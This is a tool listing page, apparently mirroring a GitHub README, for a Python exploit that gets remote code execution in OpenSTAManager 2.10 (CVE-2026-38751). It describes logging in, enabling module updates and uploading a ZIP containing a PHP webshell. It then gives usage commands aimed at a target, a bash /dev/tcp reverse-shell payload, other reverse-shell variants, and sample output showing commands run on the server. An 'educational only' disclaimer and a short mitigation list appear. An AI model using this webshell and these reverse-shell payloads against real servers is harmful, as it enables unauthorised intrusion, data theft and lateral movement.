OpenSTAManager_RCE_Exploit-CVE-2026-38751- — OpenSTAManager RCE Exploit (CVE-2026-38751) | Kitploit
Tools / GitHub / hackthem / openstamanager_rce_exploit-cve-2026-38751-
hackthem/openstamanager_rce_exploit-cve-2026-38751- Discover the most used tools by our community.
Last 7 Days Last 30 Days
OpenSTAManager_RCE_Exploit-CVE-2026-38751- OpenSTAManager RCE Exploit (CVE-2026-38751)
OpenSTAManager RCE Exploit (CVE-2026-38751)
Overview
This Python script exploits a Remote Code Execution vulnerability in OpenSTAManager version 2.10, identified as CVE-2026-38751. The exploit allows authenticated users to upload a malicious module and execute arbitrary commands on the target system.
Vulnerability Details
CVE ID : CVE-2026-38751Product : OpenSTAManagerVersion : 2.10Type : Remote Code Execution (RCE)Attack Vector : Web-based, requires valid authentication
How the Exploit Works
The exploit follows these steps:
Authentication : Logs into the OpenSTAManager application using provided credentialsEnable Updates : Activates module update functionality which is required for the exploitCreate Malicious ZIP : Generates a ZIP file containing:
A module definition file (MODULE)
A PHP shell script (shell.php) that executes commands via GET parameter
c
Upload Module : Uploads the malicious ZIP through the module update interface
Verify Exploitation : Confirms the shell is accessible and functionalExecute Commands : Either:
Interactive shell mode for manual command execution
Reverse shell connection to establish a persistent connection
Prerequisites
Python 3.x
Required Python packages: requests, zipfile
Valid admin credentials for OpenSTAManager
Network access to the target system
Usage
Basic Usage python3 exploit.py -u http://target.com -U admin -P password
Interactive Shell Mode python3 exploit.py -u http://target.com -U admin -P password --interactive
Reverse Shell Mode python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
Arguments Argument Description -u, --urlTarget URL (required) -U, --userUsername for authentication (required) -P, --passwordPassword for authentication (required) --interactiveEnter interactive shell mode --no-cleanupDon't remove shell files after execution --lhostLocal host for reverse shell --lportLocal port for reverse shell
Technical Details
Exploitation Process
Authentication : The script performs a login request to the application's authentication endpointModule Update Enablement : Sends a POST request to enable module updates functionalityZIP Generation : Creates a ZIP archive with:
shell/MODULE: Module configuration fileshell/shell.php: PHP webshell that executes commands passed via GET parameter c
Upload Process : Uses multipart form data to upload the malicious ZIP to the module update endpointVerification : Tests the uploaded shell by executing a simple command like id to confirm it's workingCommand Execution : Either provides an interactive shell or establishes a reverse shell connection
Payloads Used The exploit attempts multiple reverse shell payloads:
Bash reverse shell: bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
Python reverse shells using socket connections
Base64 encoded bash payload
Netcat reverse shell
Security Considerations ⚠️ Disclaimer : This exploit is intended for educational and authorized security testing purposes only.
Risk Assessment This vulnerability allows:
Arbitrary code execution as the web server user
Potential privilege escalation
Access to sensitive data stored on the system
Possible lateral movement within a network
Mitigation To protect against this vulnerability:
Update OpenSTAManager to the latest version
Implement proper authentication controls
Restrict file upload capabilities
Monitor for suspicious activity
Apply network segmentation
Example Output [ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
References
License This exploit is provided for educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
hackthem/openstamanager_rce_exploit-cve-2026-38751-
